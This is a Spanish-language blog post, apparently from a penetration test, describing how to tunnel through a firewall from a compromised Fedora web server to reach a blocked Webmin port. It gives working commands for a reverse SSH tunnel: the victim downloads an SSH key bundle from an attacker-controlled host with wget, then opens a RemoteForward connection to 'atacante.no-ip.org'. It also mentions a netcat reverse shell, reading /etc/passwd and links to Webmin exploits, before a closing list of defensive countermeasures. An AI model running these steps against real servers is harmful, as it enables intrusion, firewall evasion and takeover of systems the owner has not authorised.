SSH Jutsu I – Acercamiento de Puerto

Apenas unos dias vi batallando a un compañero que realizaba un Pentest y había conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dejó abandonado, así que no fué difícil utilizar un viejo módulo para subir el PHP Shell y empezar a echar comandos de consola siendo el usuario que ejecuta a apache (nobody en este caso).

Después de varias horas de verlo hacerse de la mala ceja se me ocurrieron varios puntos donde se podían hacer ataques:

Escenario

1. Servidor Web con Linux Fedora Core 3, obviamente con instalación por defecto
2. Servidor “protegido” por un FW Checkpoint.
1. Que nos bloquea la IP cada vez que hacemos un escaneo de puertos.
2. No tiene ACLs de salida del servidor, are you thinking what I am thinking?
   
3. Se ha logrado comprometer el servidor
1. Se tiene una shell creada por el php shell y que a su vez se ha conseguido otra con el Netcat conectándonos a nuestra máquina desde la máquina vícitma. Total el FW no tiene ACLs que bloqueen la salida de tráfico del servidor.
2. Tiene un IP Privada del otro lado, así que podemos suponer que están haciendo el port Forwarding al puerto 443.
3. Tiene el Webmin habilitado >:) pero bloqueado por el FW :'(

Planteamiento

¿Qué sigue? Obviamente escalar privilegios, encontrar mas servidores dentro de la DMZ y/o conseguir contraseñas. Ya se sacaron los usuarios con el comando cat /etc/passwd pero los hashes de las contraseñas  no ya que no disponemos de privilegios de root y hacer el viejo truco con Hydra de probar el mismo usuario y contraseñas contra un servicio es inútil por el FW.

¿Cómo podemos sopesar este problema? Como sabemos, el Webmin es una herramienta poderosísima para la admnistración del servidor pero cuenta con un sin fín de vulnerabilidades que, aunque son parchadas con cierta rapidez, si la instalación es por default o está sin administrar (abandonada) se puede comprometer la integridad del servidor con cierta facilidad.

Jutsu

  Creo que habemos pocos que conocemos los oscuros secretos y milenarias técnicas del SSH y los ocupamos con cierta regularidad. Aqui explico mi prueba de concepto para alcanzar el puerto de Webmin y poder comprometerlo:

Necesitamos tener una cuenta en una máquina y pueda acceder al servicio de SSH. Para esto podemos usar el Backtrack creamos una cuenta sin mayores privilegios. Dentro de esta cuenta creamos una llave pública de ssh para poder automatizar la autenticación y no perder la shell dentro del servidor:

# Creamos el directorio donde guardaremos la configuracion
mkdir ~/.ssh
# Creamos la llave sin contraseña para que sea mas cómoda de usar
ssh-keygen -t dsa
# Nos crea dos archivos que son la llave pública y la privada
id_dsa id_dsa.pub
# Renombramos la pública para poder usarla como autenticación
mv id_dsa.pub authorized_keys

Ahora creamos el siguiente archivo config:

Host atacante
# La IP o nombre de dominio que estamos usando
Hostname atacante.no-ip.org
RemoteForward 10000 127.0.0.1:10000
# Puerto que tengamos abierto y con el servicio de SSH corriendo
Port 1025
# El usuario que hallamos creado
User tunel
BatchMode yes
Compression yes
# La llave privada que no debe contener contraseña y nos dará acceso al usuario tunel
IdentityFile /tmp/.ssh/id_dsa
CompressionLevel 9
# Con esto nos saltamos el que nos pregunte que si añade la llave rsa al archivo.
StrictHostKeyChecking no
PubkeyAuthentication yes
UserKnownHostsFile /tmp/.ssh/known_hosts

Ahora subimos el archivo al servidor como tarball. Lo podemos hacer con la herramienta woof.

# En el lado del atacante
woof -p [PuertoAlcanzable] -i [IP] ~/.ssh

# En el lado de la victima
cd /tmp
wget [URL Cambiando la IP por la IP pública] -O - | tar zxvf -
cd .ssh
chmod 0600 *
ssh-agent bash
ssh-add
ssh -fNF config atacante

Recuerda que si estas detrás de un dispositivo que haga NAT debes hacer reenvío de puerto de forma que podamos alcanzar la máquina del atacante desde la máquina víctima y que el URL que le ingresaremos en el wget no es la IP privada sino la IP pública que tiene nuestro router. Los que tenemos cableacces estamos jodidos pero siempre podemos usar un servidor prestado que tenga una IP Pública XD.

Y si todo sale bien nos devolverá la línea de comando y veremos un proceso parecido al este:

ps ax | grep -i ssh
28659 ? Ss 0:30 ssh -fNF config atacante

Bien, ahora desde la máquina del atacante deberemos ver unos puertos parecidos a esto:

sudo netstat -ptuna | grep -i listen
tcp 0 0 127.0.0.1:10000 0.0.0.0:* LISTEN -

Perfecto! Si hasta ahora todo ha salido bien podremos entrar a la consola de administración del Webmin desde el navegador usando la siguiente URL: https://localhost:10000.

Nos vamos a la siguiente página y descargamos el exploit:

http://securitydot.net/xpl/exploits/vulnerabilities/articles/1164/exploit.html en Perl
http://www.milw0rm.com/exploits/1997 en PHP

Contramedidas

1. No instalas ningun aplicativo que no piensas dar mantenimiento en un servidor de producción.
2. Aparte del firewall corporativo es saludable instalar un firewall de host que proteja la máquina así la administración del FW queda en tus manos y no dependes de un tercero que no sabes que políticas maneja. APF es mi recomendación.
3. En los ACLs del firewall es buena idea bloquear cual tráfico que salga del servidor que no sea de tipo ESTABLISHED o que vaya única y exclusivamente a los servidores de actualizaciones, por este motivo es bueno tener un sistema de actualización local como el WSUS para Haselfroch.
4. Siempre, y repito, siempre has un hardeneo de tus servidores de producción, quita servicios que no uses y aquellos que necesitas pero son inseguros (Webmin, VNC) puedes hacer que escuchen localmente y accederlos por túneles de SSH.
5. Mantén un procedimiento para verificar la integridad de tus servidores como Tripwire.
6. Mantén una política de contraseñas complejas en tus usuarios, así, aúnque consigan los hashes de la contraseñas el romperlas puede llegar a ser virtualmente imposible.
7. Mantén actualizado tu sistema y las aplicaciones que tenga dentro, realiza auditorias constantes sobre tus aplicaciones Web para ver posibles agujeros de seguridad que puedan comprometer tu servidor. Para esto existen aplicaciones como GFI Languard y Nessus.

Aún siguiendo estos pasos no puedes ganrantizar que estará seguro tu servidor, siempre habrá una nueva vulnerabilidad o alguien que consiga brincarse la barda que has puesto. Hacer seguridad y cumplir al menos con las buenas prácticas de administración de servidores permiten mitigar los ataques que puedas recibir y que puedan afectar al negocio.

Tags: Seguridad, firewall, webmin, Secure Shell, SSH, Apache